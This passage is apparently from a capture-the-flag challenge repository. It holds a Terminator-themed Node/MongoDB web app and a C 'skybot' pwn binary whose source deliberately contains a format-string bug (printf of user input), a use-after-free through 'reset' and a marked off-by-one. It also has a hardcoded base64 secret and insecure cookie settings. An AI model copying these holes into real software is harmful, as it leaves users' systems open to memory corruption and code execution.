34 |                 <img alt="1" src="/img/john_connor.jpg" data-holder-rendered="true" style="margin: 0 auto">
35 |             </div>
36 |             <div class="item">
37 |                 <img alt="2" src="/img/Sarah-Connor2.jpg" data-holder-rendered="true" style="margin: 0 auto; width: ">
38 |             </div>
39 |             <div class="item">
40 |                 <img alt="4" src="/img/katherine_connor4.jpg" data-holder-rendered="true" style="margin: 0 auto">
41 |             </div>
42 |             <div class="item">
43 |                 <img alt="3" src="/img/terminator-genisys.jpg" data-holder-rendered="true">
44 |             </div>
45 |         </div><!-- listbox -->
46 | 
47 |             <a class="left carousel-control" href="#carousel-example-generic" role="button" data-slide="prev">
48 |                 <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
49 |                 <span class="sr-only">Previous</span>
50 |             </a>
51 | 
52 |             <a class="right carousel-control" href="#carousel-example-generic" role="button" data-slide="next">
53 |                 <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
54 |                 <span class="sr-only">Next</span>
55 |             </a>
56 |         </div>
57 |     </div>
58 | </div>
59 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/app.js:
--------------------------------------------------------------------------------
 1 | var express          = require('express');
 2 | var expressSession   = require('express-session')
 3 | var exphbs           = require('express-handlebars');
 4 | var expressValidator = require('express-validator');
 5 | var favicon          = require('serve-favicon');
 6 | var bodyParser       = require('body-parser');
 7 | var cookieParser     = require('cookie-parser');
 8 | var path             = require('path');
 9 | var logger           = require('morgan');
10 | var RedisStore       = require('connect-redis')(expressSession);
11 | var config           = require('./config')
12 | 
13 | // import routes
14 | var index = require('./routes/index');
15 | 
16 | // initialize express app
17 | var app = express();
18 | 
19 | app.engine('handlebars', exphbs({
20 |     extname: 'hbs',
21 |     defaultLayout: 'layout',
22 |     layoutsDir: __dirname + '/views/'
23 | }));
24 | app.set('views', path.join(__dirname, 'views'));
25 | app.set('view engine', 'hbs');
26 | app.disable('x-powered-by');
27 | // app.enable('view cache');
28 | 
29 | // setup middleware
30 | app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')));
31 | app.use(logger('dev'));
32 | app.use(bodyParser.json());
33 | app.use(bodyParser.urlencoded({ extended: false }));
34 | app.use(expressValidator());
35 | app.use(cookieParser());
36 | app.use(express.static(path.join(__dirname, 'public')));
37 | // app.use(expressSession({secret: config.session.secret, saveUninitialized: false, resave: false}));
38 | app.use(expressSession({
39 |     name: config.session.name,
40 |     secret: config.session.secret,
41 |     saveUninitialized: false,
42 |     resave: false,
43 |     cookie: {
44 |         path: '/',
45 |         httpOnly: false, // set to false is no ssl
46 |         secure: false,   // idem
47 |         maxAge: 60 * 60000, // 60m
48 |         signed: false
49 |     },
50 |     store: new RedisStore({
51 |         host: config.redis.host,
52 |         port: config.redis.port,
53 |         ttl: 260,
54 |         pass: config.redis.pass
55 |     })
56 | }));
57 | 
58 | // import routes
59 | app.use('/', index);
60 | 
61 | // catch 404 and forward to error handler
62 | app.use(function(req, res, next) {
63 |     var err = new Error('Not Found');
64 |     err.status = 404;
65 |     next(err);
66 | });
67 | 
68 | 
69 | // error handler
70 | app.use(function(err, req, res, next) {
71 |     // set locals, only providing error in development
72 |     res.locals.message = err.message;
73 |     res.locals.error = req.app.get('env') === 'development' ? err : {};
74 | 
75 |     // render the error page
76 |     res.status(err.status || 500);
77 |     res.render('error', {error: err});
78 | });
79 | 
80 | module.exports = app;
81 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/routes/models.js:
--------------------------------------------------------------------------------
 1 | var config   = require('../config');
 2 | var mongoose = require('mongoose');
 3 | 
 4 | mongoose.connect(config.mongodb.url)
 5 | var Schema = mongoose.Schema;
 6 | 
 7 | var userSchema = new Schema({
 8 |     email:    { type: String, required: true, unique: true },
 9 |     password: { type: String, required: true, unique: false },
10 |     isadmin : { type: Boolean, required: true, unique: false }
11 | }, { collection: 'users'});
12 | 
13 | 
14 | var humansSchema = new Schema({
15 |     firstname:  { type: String, required: true , unique: true },
16 |     lastname:   { type: String, required: true , unique: false},
17 |     username:   { type: String, required: false, unique: false}
18 | }, { collection: 'humans'});
19 | 
20 | 
21 | var flagSchema = new Schema({
22 |     firstname:  { type: String, required: true , unique: true },
23 |     secondname: { type: String, required: true , unique: false},
24 |     email:      { type: String, required: false, unique: false},
25 |     pseudo:     { type: String, required: false, unique: false}
26 | }, { collection: 'humans'});
27 | 
28 | 
29 | var Users  = mongoose.model('Users', userSchema);
30 | var Humans = mongoose.model('Humans', humansSchema);
31 | var Flag = mongoose.model('Flag', flagSchema);
32 | 
33 | module.exports = {
34 |     Users,
35 |     Humans
36 | }
37 | 
38 | 
39 | 
40 | // var mongoose = require('mongoose'),
41 | //     Schema = mongoose.Schema,
42 | //     bcrypt = require('bcrypt'),
43 | //     SALT_WORK_FACTOR = 10;
44 | 
45 | // var UserSchema = new Schema({
46 | //     username: { type: String, required: true, index: { unique: true } },
47 | //     password: { type: String, required: true }
48 | // });
49 | 
50 | // UserSchema.pre('save', function(next) {
51 | //     var user = this;
52 | 
53 | //     // only hash the password if it has been modified (or is new)
54 | //     if (!user.isModified('password')) return next();
55 | 
56 | //     // generate a salt
57 | //     bcrypt.genSalt(SALT_WORK_FACTOR, function(err, salt) {
58 | //         if (err) return next(err);
59 | 
60 | //         // hash the password using our new salt
61 | //         bcrypt.hash(user.password, salt, function(err, hash) {
62 | //             if (err) return next(err);
63 | 
64 | //             // override the cleartext password with the hashed one
65 | //             user.password = hash;
66 | //             next();
67 | //         });
68 | //     });
69 | // });
70 | 
71 | // UserSchema.methods.comparePassword = function(candidatePassword, cb) {
72 | //     bcrypt.compare(candidatePassword, this.password, function(err, isMatch) {
73 | //         if (err) return cb(err);
74 | //         cb(null, isMatch);
75 | //     });
76 | // };
77 | 
78 | // module.exports = mongoose.model('User', UserSchema);


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/humans.hbs:
--------------------------------------------------------------------------------
 1 | {{#if isLoggedin}}
 2 |     {{# if success }}
 3 |         <section class="alert alert-success centered_warnings" role="alert">
 4 |             <strong>Successful Validation!</strong>
 5 |         </section>
 6 |     {{/if}}
 7 |     {{# if errors }}
 8 |         <section class="alert alert-danger centered_warnings" role="alert">
 9 |             <ul>
10 |                 {{# each errors }}
11 |                     <li><strong>{{ this.msg }}</strong></li>
12 |                 {{/each}}
13 |             </ul>
14 |         </section>
15 |     {{/if}}
16 |     <div class="container white_text">
17 |         <div class="page-header center">
18 |         <form class="form-signin" method="post" action="/humans" enctype="application/json">
19 |             <input type="text" name="firstname" class="form-control human_search_field" placeholder="Search" autofocus="">
20 |             {{!-- <input type="text" name="lastname" class="form-control human_search_field" placeholder="Search by lastname" autofocus=""> --}}
21 |             <button class="btn btn-lg btn-primary btn-block human_search_button" type="submit">Search</button>
22 |         </form>
23 |             <div class="col-md-12 humans pre-scrollable" style="margin: 0 auto;">
24 |               <table class="table" style="height:100px;overflow:auto;">
25 |                 <thead>
26 |                   <tr>
27 |                     <th>#</th>
28 |                     <th>First Name</th>
29 |                     <th>Last Name</th>
30 |                     <th>Username</th>
31 |                     <th>Affiliations</th>
32 |                   </tr>
33 |                 </thead>
34 | 
35 |                 <tbody>
36 |                 {{# if humans.length }}
37 |                     {{# each humans}}
38 |                       <tr>
39 |                         <td>{{this._id}}</td>
40 |                         <td>{{this.firstname}}</td>
41 |                         <td>{{this.lastname}}</td>
42 |                         <td>{{this.username}}</td>
43 |                         <td>{{this.affiliations}}</td>
44 |                       </tr>
45 |                     {{/each}}
46 |                 {{else}}
47 |                         <tr>
48 |                         <td>N/A</td>
49 |                         <td>N/A</td>
50 |                         <td>N/A</td>
51 |                         <td>N/A</td>
52 |                         <td>N/A</td>
53 |                       </tr>
54 |                 {{/if}}
55 |                 </tbody>
56 | 
57 |               </table>
58 |             </div>
59 |         </div>
60 |     </div>
61 | {{else}}
62 |     <div class="alert alert-danger centered_warnings" role="alert">
63 |         <strong>Welcome stranger</strong><br><br>
64 |         <strong>You'll need to login for that !</strong>
65 |     </div>
66 | {{/if}}
67 | 


--------------------------------------------------------------------------------
/pwn/skybot/mylibc.h:
--------------------------------------------------------------------------------
  1 | #include <err.h>
  2 | #include <stdlib.h>
  3 | #include <stdio.h>
  4 | #include <string.h>
  5 | #include <stdbool.h>
  6 | #include <signal.h>
  7 | #include <unistd.h>
  8 | #include <sys/types.h>
  9 | #include <assert.h>
 10 | 
 11 | 
 12 | int custom_strncmp(const char *s, const char *t, size_t n)
 13 | {
 14 |     while(n--) {
 15 |         if (*s != *t) {
 16 |             return *s - *t;
 17 |         } else {
 18 |             ++s;
 19 |             ++t;
 20 |         }
 21 |     }
 22 |     return 0;
 23 | }
 24 | 
 25 | 
 26 | char *custom_strncat(char *s, const char *t, size_t n, size_t bfsize)
 27 | {
 28 |     size_t slen = strlen(s);
 29 |     char *pend = s + slen;
 30 | 
 31 |     if (slen + n >= bfsize)
 32 |         return NULL;
 33 | 
 34 |     while(n--)
 35 |         *pend++ = *t++;
 36 |     return s;
 37 | }
 38 | 
 39 | 
 40 | char *custom_strncpy(char *s, const char *ct, size_t n)
 41 | {
 42 |     char *saver = s;
 43 | 
 44 |     while(n--)
 45 |         *saver++ = *ct++;
 46 |     *saver = '\0';
 47 |     return s;
 48 | }
 49 | 
 50 | 
 51 | size_t custom_strlen(char *str)
 52 | {
 53 |     size_t len = 0;
 54 |     while (*str != '\0') {
 55 |         str++;
 56 |         len++;
 57 |     }
 58 |     return len;
 59 | }
 60 | 
 61 | 
 62 | void remove_all_chars(char* str, char c) {
 63 |     char *pr = str, *pw = str;
 64 |     while (*pr) {
 65 |         *pw = *pr++;
 66 |         pw += (*pw != c);
 67 |     }
 68 |     *pw = '\0';
 69 | }
 70 | 
 71 | 
 72 | void delete_str(char *s,const char *toremove)
 73 | {
 74 |     while(s = strstr(s,toremove)) {
 75 |         memmove(s,s+strlen(toremove),1+strlen(s+strlen(toremove)));
 76 |     }
 77 | }
 78 | 
 79 | 
 80 | /* x = rand_range(1, 10);
 81 |  * x will be between 1 and 10, inclusive
 82 |  */
 83 | int rand_range(int min, int max)
 84 | {
 85 |     time_t t;
 86 |     srand((unsigned) time(&t));
 87 |     int diff = max - min;
 88 |     return (int) (((double)(diff+1)/RAND_MAX) * rand() + min);
 89 | }
 90 | 
 91 | 
 92 | static char *rand_string(char *str, size_t size)
 93 | {
 94 |     const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJK...";
 95 |     if (size) {
 96 |         --size;
 97 |         for (size_t n = 0; n < size; n++) {
 98 |             int key = rand() % (int) (sizeof charset - 1);
 99 |             str[n] = charset[key];
100 |         }
101 |         str[size] = '\0';
102 |     }
103 |     return str;
104 | }
105 | 
106 | 
107 | void print_file(char *filename)
108 | {
109 |     int c;
110 |     FILE *file;
111 |     file = fopen(filename, "r");
112 |     if (file) {
113 |         while ((c = getc(file)) != EOF)
114 |             putchar(c);
115 |         fclose(file);
116 |     } else {
117 |         fprintf(stderr, "Can't open file %s\n", filename);
118 |     }
119 | }
120 | 
121 | 
122 | /*
123 |  * Returns an integer in the range [0, n]
124 |  */
125 | int randint(int n) {
126 |     time_t t;
127 |     srand((unsigned) time(&t));
128 |     return rand() % n;
129 | }
130 | 
131 | 
132 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/contact.css:
--------------------------------------------------------------------------------
  1 | /*start .contact-form*/
  2 | @import url('https://fonts.googleapis.com/css?family=Raleway');
  3 | 
  4 | body{
  5 | /*    font-family: 'Raleway', sans-serif;
  6 |     background: url(../img/highquality-walls.blogspot.com-12.jpg);
  7 |     background-repeat: no-repeat;
  8 |     background-size: cover;*/
  9 |     padding-top: 120px;
 10 |     padding-bottom: 40px;
 11 |     background-color: #eee;
 12 | }
 13 | 
 14 | /*.fullscreen_bg {
 15 |     position: fixed;
 16 |     top: 0;
 17 |     right: 0;
 18 |     bottom: 0;
 19 |     left: 0;
 20 |     background-size: cover;
 21 |     background-position: 50% 50%;
 22 |     background-image: url('../img/highquality-walls.blogspot.com-12.jpg');
 23 |     background-repeat:repeat;
 24 | }*/
 25 | 
 26 | h2{
 27 |     font-weight: bold;
 28 |     font-size: 40px;
 29 | }
 30 | .contact-form{
 31 |     max-width: 500px;
 32 |     margin: 50px auto;
 33 | }
 34 | 
 35 | .contact-form .form-group{
 36 |     margin-bottom: 0;
 37 |     position: relative;
 38 | }
 39 | .contact-form input,
 40 | .contact-form textarea{
 41 |     margin-bottom: 20px;
 42 |     background: #ececec;
 43 | }
 44 | 
 45 | .contact-form input:focus{
 46 | 
 47 |     border: 1px solid #999;
 48 |     outline: none !important;
 49 | }
 50 | 
 51 | 
 52 | .contact-form input{
 53 |     padding-left: 30px;
 54 | }
 55 | 
 56 | .contact-form textarea{
 57 |     min-height: 200px !important;
 58 |     /* changed */
 59 |     max-height: 500px !important;
 60 |     max-width: 700px !important;
 61 |     /* changed */
 62 |     padding-left: 30px;
 63 | 
 64 | }
 65 | .contact-form input[type="submit"]{
 66 | 
 67 |     background: #5cb85c;
 68 | }
 69 | 
 70 | .contact-form i{
 71 |     height: 0;
 72 |     float: left;
 73 |     position: relative;
 74 |     top: -44px;
 75 |     left: 10px;
 76 |     color: #fff;
 77 | }
 78 | 
 79 | .contact-form .message-icon{
 80 |     position: relative;
 81 |     top: -310px;
 82 | }
 83 | 
 84 | .contact-form .send-icon{
 85 |     color: #fff;
 86 | }
 87 | 
 88 | 
 89 | .asterix{
 90 |     position: absolute;
 91 |     color: red;
 92 |     float: right;
 93 |     font-size: 59px;
 94 |     height: 0;
 95 |     /* overflow: hidden; */
 96 |     right: 0;
 97 |     top: -11px;/
 98 | }
 99 | 
100 | span.cross {
101 |     position: absolute;
102 |     color: red;
103 |     float: right;
104 |     font-size: 26px;
105 |     height: 0;
106 |     /* overflow: hidden; */
107 |     right: 3px;
108 |     top: -5px;
109 |     display: none;
110 | }
111 | 
112 | i.fa.fa-check {
113 |     color: green;
114 | }
115 | 
116 | span.verify {
117 |     position: absolute;
118 |     float: right;
119 |     font-size: 22px;
120 |     height: 0;
121 |     right: 10px;
122 |     top: 49px;
123 |     display: none;
124 | }
125 | 
126 | #alert-custom {
127 |     padding: 7px;
128 |     padding-right: 31px;
129 | }
130 | 
131 | .custom-alert{
132 |      padding: 7px;
133 |      display: none;
134 | }
135 | 
136 | .form-signin-heading {
137 |     color: #fff;
138 |     text-align: center;
139 |     text-shadow: 0 2px 2px rgba(0,0,0,0.5);
140 | }


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/js/contact.js:
--------------------------------------------------------------------------------
 1 | $(function () {
 2 | 
 3 | 'use strict';
 4 |         // error variables
 5 |         var UserError  = true,
 6 |             EmailError = true,
 7 |             SubError   = true,
 8 |             MsgError   = true;
 9 | 
10 | $(".username").blur(function() {
11 |     
12 |     if($(this).val().length < 4){
13 | 
14 |         $(this).css('border','1px solid #F00');
15 |         $(this).parent().find('.custom-alert').fadeIn(300).end().find('.asterix').fadeOut(300).end().find('span.cross').fadeIn(300).end().find('span.verify').fadeOut(300);
16 |         UserError = true;
17 |     }else{
18 | 
19 |         $(this).css('border','1px solid #080');
20 |         $(this).parent().find('.custom-alert').fadeOut(300).end().find('.asterix').fadeOut(300).end().find('span.verify').fadeIn(300).end().find('span.cross').fadeOut(300);
21 | 
22 |         UserError = false;
23 |     }
24 | });
25 | 
26 | 
27 | 
28 | $(".email").blur(function() {
29 |     
30 |     if($(this).val() === ''){
31 | 
32 |         $(this).css('border','1px solid #F00');
33 |         $(this).parent().find('.custom-alert').fadeIn(300).end().find('.asterix').fadeOut(300).end().find('span.cross').fadeIn(300).end().find('span.verify').fadeOut(300);
34 |         EmailError = true;
35 |     }else{
36 | 
37 |         $(this).css('border','1px solid #080');
38 |         $(this).parent().find('.custom-alert').fadeOut(300).end().find('.asterix').fadeOut(300).end().find('span.verify').fadeIn(300).end().find('span.cross').fadeOut(300);
39 | 
40 |         EmailError = false;
41 |     }
42 | });
43 | 
44 | $(".subject").blur(function() {    
45 |     if($(this).val() === ''){
46 |         $(this).css('border','1px solid #F00');
47 |         $(this).parent().find('.custom-alert').fadeIn(300).end().find('.asterix').fadeOut(300).end().find('span.cross').fadeIn(300).end().find('span.verify').fadeOut(300);
48 |         SubError = true;
49 |     }else{
50 |         $(this).css('border','1px solid #080');
51 |         $(this).parent().find('.custom-alert').fadeOut(300).end().find('.asterix').fadeOut(300).end().find('span.verify').fadeIn(300).end().find('span.cross').fadeOut(300);
52 | 
53 |         SubError = false;
54 |     }
55 | });
56 | 
57 | $(".message").blur(function() {
58 |     if($(this).val() .length < 10){
59 |         $(this).css('border','1px solid #F00');
60 |         $(this).parent().find('.custom-alert').fadeIn(300).end().find('.asterix').fadeOut(300).end().find('span.cross').fadeIn(300).end().find('span.verify').fadeOut(300);
61 |         MsgError = true;
62 |     }else{
63 | 
64 |         $(this).css('border','1px solid #080');
65 |         $(this).parent().find('.custom-alert').fadeOut(300).end().find('.asterix').fadeOut(300).end().find('span.verify').fadeIn(300).end().find('span.cross').fadeOut(300);
66 |         MsgError = false;
67 |     }
68 | });
69 | 
70 | 
71 | // submit form
72 | $('.contact-form').submit(function(event) {
73 |      if(UserError === true || EmailError === true || SubError === true || MsgError === true){
74 | 
75 |         event.preventDefault(); // prevent sending 
76 |         $('.username,.email,.subject,.message').blur();
77 |      }
78 | });
79 | 
80 | });


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/contact.hbs:
--------------------------------------------------------------------------------
 1 | {{#if isLoggedin}}
 2 | 
 3 |     <link href="/css/contact.css" rel="stylesheet">
 4 |     <script src="/js/contact.js"></script>
 5 | 
 6 |     {{# if success }}
 7 |         <section class="alert alert-success centered_warnings" role="alert">
 8 |             <strong>Successful Validation!</strong>
 9 |         </section>
10 |     {{/if}}
11 |     {{# if errors }}
12 |         <section class="alert alert-danger centered_warnings" role="alert">
13 |             <ul>
14 |                 {{# each errors }}
15 |                     <li><strong>{{ this.msg }}</strong></li>
16 |                 {{/each}}
17 |             </ul>
18 |         </section>
19 |     {{/if}}
20 | 
21 |     <div class="container">
22 |         </div>
23 |             <form action="/contact" class="contact-form" method="post">
24 |                 <h1 class="form-signin-heading text-muted text-center">Contact Us</h1>
25 |                 <div class="form-group">
26 |                 <input type="text" name="username" id="username" class="username form-control" placeholder="Your Username" value="">
27 |                 <i class="fa fa-user"></i>
28 |                 <span class="asterix">*</span>
29 |                 <span class="cross">x</span>
30 |                 <span class="verify"><i class="fa fa-check" aria-hidden="true"></i></span>
31 |                 <div class="alert alert-danger custom-alert">
32 |                     user must be more than 3 letter
33 |                 </div>
34 |                 </div>
35 | 
36 |                 <div class="form-group">
37 |                 <input type="text" name="email" class=" email form-control" placeholder="Your Email" value="">
38 |                 <i class="fa fa-envelope"></i>
39 |                 <span class="asterix">*</span>
40 |                 <span class="cross">x</span>
41 |                 <span class="verify"><i class="fa fa-check" aria-hidden="true"></i></span>
42 |                 <div class="alert alert-danger custom-alert">
43 |                     Email can not be empty
44 |                 </div>
45 |                 </div>
46 |                 
47 |                 <div class="form-group">
48 |                 <input type="text" name="subject" class="subject form-control" placeholder="Your subject" value="">
49 |                 <i class="fa fa-pencil"></i>
50 |                 <span class="asterix">*</span>
51 |                 <span class="cross">x</span>
52 |                 <span class="verify"><i class="fa fa-check" aria-hidden="true"></i></span>
53 |                 <div class="alert alert-danger custom-alert">
54 |                     Subject can not be empty
55 |                 </div>
56 |                 </div>
57 |                 
58 |                 <div class="form-group">
59 |                 <textarea class=" message form-control" name="message" placeholder="Your Message with human names"></textarea>
60 |                 <i class="fa fa-comments message-icon"></i>
61 |                 <span class="asterix">*</span>
62 |                 <span class="cross">x</span>
63 |                 <span class="verify"><i class="fa fa-check" aria-hidden="true"></i></span>
64 |                 <div class="alert alert-danger custom-alert">
65 |                     message should be more than <b>10</b> characteres
66 |                 </div>
67 |                 </div>
68 | 
69 |                 <div class="form-group">
70 |                 <input type="submit" value="send" class="btn btn-success btn-block">
71 |                 <i class="fa fa-paper-plane send-icon"></i>
72 |                 </div>
73 |             </form>
74 |         </div>
75 |     </div>
76 | 
77 | {{else}}
78 | 
79 |     <div class="alert alert-danger centered_warnings" role="alert">
80 |         <strong>Welcome stranger</strong><br><br>
81 |         <strong>You'll need to login for that !</strong>
82 |     </div>
83 | 
84 | {{/if}}


--------------------------------------------------------------------------------
/pwn/skybot/skybot.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * skybot, is a spam application used by skynet
  3 |  * It allows you to red spam and send spam messages
  4 |  *
  5 |  * gcc -Wl,-z,relro,-z,now -fpic -pie -fstack-protector-all -Wno-implicit-function-declaration -Wno-format-security -z noexecstack
  6 |  *
  7 |  */
  8 | #include <err.h>
  9 | #include <stdlib.h>
 10 | #include <stdio.h>
 11 | #include <string.h>
 12 | #include <stdbool.h>
 13 | #include <signal.h>
 14 | #include <unistd.h>
 15 | #include <sys/types.h>
 16 | #include "mylibc.h"
 17 | 
 18 | #define ALARM_TIME 60
 19 | #define NAME_SIZE 32
 20 | #define LINE_SIZE 128
 21 | #define BANNERS 8
 22 | #define QUOTES 31
 23 | 
 24 | #define show(msg) printf("%s\n", msg)
 25 | #define clear_screen() printf("\033[H\033[J")
 26 | 
 27 | #ifdef DEBUG
 28 |     #define DEBUG 1
 29 |     static const char *file_path = "./";
 30 | #else
 31 |     #define DEBUG 0
 32 |     static const char *file_path = "/home/skybot";
 33 | #endif
 34 | 
 35 | static const char *pwd = "SU5Te24wN183aDNfZmw0Nl95MHVfZjAwbF8zeHBsMDE3XzE3fQ==";
 36 | 
 37 | typedef struct auth_s {
 38 |     char name[NAME_SIZE];
 39 |     int auth;
 40 | } auth_t;
 41 | 
 42 | auth_t *users;
 43 | 
 44 | 
 45 | void ALARMhandler(int sig)
 46 | {
 47 |     pid_t pid;
 48 |     pid = getpid();
 49 |     printf("Bye bye ...\n");
 50 |     printf("Exiting from pid %d\n", pid);
 51 |     kill(pid, 15);
 52 |     exit(0);
 53 | }
 54 | 
 55 | 
 56 | void print_random_banner()
 57 | {
 58 |     char buf[60];
 59 |     snprintf(buf, sizeof(buf), "%s/banners/%d.txt", file_path, randint(BANNERS));
 60 |     print_file(buf);
 61 | }
 62 | 
 63 | 
 64 | void read_random_email()
 65 | {
 66 |     int i;
 67 |     char buf[60];
 68 | 
 69 |     printf("-------------.....----\n");
 70 |     printf("| SKYBOT SENT EMAILS |\n");
 71 |     printf("----------------------\n");
 72 | 
 73 |     for(i = 0; i < sizeof(buf); i++) putchar('-');
 74 |     printf("\n");
 75 | 
 76 |     snprintf(buf, sizeof(buf), "%s/spam/%d.txt", file_path, randint(QUOTES));
 77 |     print_file(buf);
 78 | 
 79 |     for(i = 0; i < sizeof(buf); i++) putchar('-');
 80 |     printf("\n\n");
 81 | }
 82 | 
 83 | 
 84 | void vuln()
 85 | {
 86 |     int i;
 87 |     char to[100];
 88 |     char from[100];
 89 |     char subject[512];
 90 | 
 91 |     char *array[] = {to, from, subject};
 92 | 
 93 |     printf("To: ");
 94 |     /* fgets(to, sizeof(to), stdin); */
 95 |     read(STDIN_FILENO, to, sizeof(to));
 96 | 
 97 |     printf("From: ");
 98 |     /* fgets(from, sizeof(from), stdin); */
 99 |     read(STDIN_FILENO, from, sizeof(from));
100 | 
101 |     show("Subject: ");
102 |     /* fgets(subject, sizeof(subject), stdin); */
103 |     read(STDIN_FILENO, subject, sizeof(subject));
104 | 
105 |     printf("Your spam mail was sent to all humans:\n");
106 |     printf("To: %s", to);
107 |     printf("From: %s", from);
108 |     show("Subject:");
109 |     printf(subject);
110 | }
111 | 
112 | //
113 | // MAIN STARTS HERE
114 | //
115 | 
116 | int main(int argc, char **argv)
117 | {
118 |     // make stdin/out unbuffered
119 |     setvbuf(stdin, 0, _IONBF, 0);
120 |     setvbuf(stdout, 0, _IONBF, 0);
121 | 
122 |     int i, j;
123 |     unsigned char line[LINE_SIZE];
124 | 
125 |     signal(SIGALRM, ALARMhandler);
126 |     alarm(ALARM_TIME);
127 | 
128 |     // initialize a structure to not segfault
129 |     // on user->auth check
130 |     users = malloc(sizeof(struct auth_s));
131 |     if (users == NULL) {
132 |         fprintf(stderr, "Error - unable to allocate required memory\n");
133 |     } else {
134 |         memset(users, 0, sizeof(struct auth_s));
135 |     }
136 | 
137 |     print_random_banner();
138 |     show("Welcome to the skynet email bot.");
139 | 
140 |     while(1) {
141 |         show("Read spam or send one to all humans!");
142 |         show("\nMenu: ");
143 |         show("  1) read");
144 |         show("  2) send");
145 |         show("  3) delete");
146 |         show("  4) exit\n");
147 |         printf("|>>> ");
148 | 
149 |         if (fgets(line, sizeof(line), stdin) == NULL)
150 |         /* if (!read(STDIN_FILENO, line, sizeof(line)) > 0) */
151 |             break;
152 | 
153 |         if (custom_strncmp(line, "reset", 5) == 0) {
154 |             free(users);
155 |             users = 0;
156 |         }
157 | 
158 |         if (custom_strncmp(line, "exit", 4) == 0) {
159 |             exit(0);
160 |         }
161 | 
162 |         if (custom_strncmp(line, "login", 5) == 0) {
163 |             if (users->auth){
164 |                 show("You have logged in already!");
165 |             } else {
166 |                 show("Please enter your password!");
167 |             }
168 |         }
169 | 
170 |         // read email fonctionality
171 |         if (custom_strncmp(line, "read", 4) == 0) {
172 |             read_random_email();
173 |         }
174 | 
175 |         if (custom_strncmp(line, "delete", 6) == 0) {
176 |             show("Nop, can't do that MOUHAHAHA !");
177 |         }
178 | 
179 |         if (custom_strncmp(line, "send", 3) == 0) {
180 |             if (users->auth) {
181 |                 vuln();
182 |             } else {
183 |                 show("You need to authenticate before sending an email!");
184 |             }
185 |         }
186 | 
187 |         // off by one to go into vuln function
188 |         if (custom_strncmp(line, "auth ", 5) == 0) {
189 |             users = malloc(sizeof(struct auth_s));
190 |             if (users == NULL) {
191 |                 fprintf(stderr, "Error - unable to allocate required memory\n");
192 |             } else {
193 |                 memset(users, 0, sizeof(struct auth_s));
194 |             }
195 | 
196 |             if (custom_strlen(line+5) <= NAME_SIZE) {
197 |                 for (i = 0, j = 5; i <= NAME_SIZE; i++) {
198 |                     users->name[i] = line[j];
199 |                     j++;
200 |                 }
201 |                 users->name[NAME_SIZE-1] = '\0';
202 |             }
203 |         }
204 |     } // while end
205 | }
206 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/create_users.js:
--------------------------------------------------------------------------------
  1 | var MongoClient = require('mongodb').MongoClient;
  2 | var ObjectId    = require('mongodb').ObjectID;
  3 | var assert      = require('assert');
  4 | var config      = require('./config');
  5 | 
  6 | var url = config.mongodb.url;
  7 | 
  8 | var users_list = [
  9 |     {
 10 |         "email": "boogy@insomni.hack",
 11 |         "password": "$2a$10$4j.Cvi6MR1LDhRpaEyt/Uui8jUIFbAExGGEhOMJvNODPIfmndDzni",
 12 |     },
 13 |     {
 14 |         "email": "fakeuser@gmail.com",
 15 |         "password": "$2a$10$iUR02uUC1li75.Fdh/Z6z.CoWzDan4.3CoUOq826ZrPwmL9rKrJlu",
 16 |     }
 17 | ]
 18 | 
 19 | var humans_list = [
 20 |     {
 21 |         "firstname"    : "John",
 22 |         "lastname"     : "Connor",
 23 |         "username"     : "@JohnConnor",
 24 |         "affiliations" : "Resistance",
 25 |         "alive"        : true,
 26 |     },
 27 |     {
 28 |         "firstname"    : "Sarah",
 29 |         "lastname"     : "Connor",
 30 |         "username"     : "@SarahConnor",
 31 |         "affiliations" : "Resistance",
 32 |         "alive"        : true,
 33 |     },
 34 |     {
 35 |         "firstname"    : "Katherine 'Kate'",
 36 |         "lastname"     : "Connor",
 37 |         "username"     : "@KateConnor",
 38 |         "affiliations" : "Resistance",
 39 |         "alive"        : true
 40 |     },
 41 |     {
 42 |         "firstname"    : "T-800",
 43 |         "lastname"     : "Protector",
 44 |         "username"     : "@T-800-Protector",
 45 |         "affiliations" : "Resistance",
 46 |         "alive"        : true
 47 |     },
 48 |     {
 49 |         "firstname"    : "T-850",
 50 |         "lastname"     : "Protector",
 51 |         "username"     : "@T-850-Protector",
 52 |         "affiliations" : "Resistance",
 53 |         "alive"        : true
 54 |     },
 55 |     {
 56 |         "firstname"    : "Jacob",
 57 |         "lastname"     : "Thornton",
 58 |         "username"     : "@fat",
 59 |         "affiliations" : "Resistance",
 60 |         "alive"        : true
 61 |     },
 62 |     {
 63 |         "firstname"    : "Larry",
 64 |         "lastname"     : "the Bird",
 65 |         "username"     : "@twitter",
 66 |         "affiliations" : "Resistance",
 67 |         "alive"        : true
 68 |     },
 69 |     {
 70 |         "firstname"    : "Abbo",
 71 |         "lastname"     : "Noakes",
 72 |         "username"     : "@thing",
 73 |         "affiliations" : "Resistance",
 74 |         "alive"        : true
 75 |     },
 76 |     {
 77 |         "firstname"    : "Naoise",
 78 |         "lastname"     : "Fane",
 79 |         "username"     : "@Fane",
 80 |         "affiliations" : "Resistance",
 81 |         "alive"        : true
 82 |     },
 83 |     {
 84 |         "firstname"    : "Darshan",
 85 |         "lastname"     : "Wasi",
 86 |         "username"     : "@WasiDarshan",
 87 |         "affiliations" : "Resistance",
 88 |         "alive"        : true
 89 |     },
 90 |     {
 91 |         "firstname"    : "Naomhan",
 92 |         "lastname"     : "Medrod",
 93 |         "username"     : "@M3dr0d",
 94 |         "affiliations" : "Resistance",
 95 |         "alive"        : true
 96 |     },
 97 |     {
 98 |         "firstname"    : "Aliaksandr",
 99 |         "lastname"     : "Otieno",
100 |         "username"     : "@O713n0",
101 |         "affiliations" : "Resistance",
102 |         "alive"        : true
103 |     },
104 |     {
105 |         "firstname"    : "Arcangelo",
106 |         "lastname"     : "Carlito",
107 |         "username"     : "@Carlito",
108 |         "affiliations" : "Resistance",
109 |         "alive"        : true
110 |     },
111 |     {
112 |         "firstname"    : "Audoneus",
113 |         "lastname"     : "Peer",
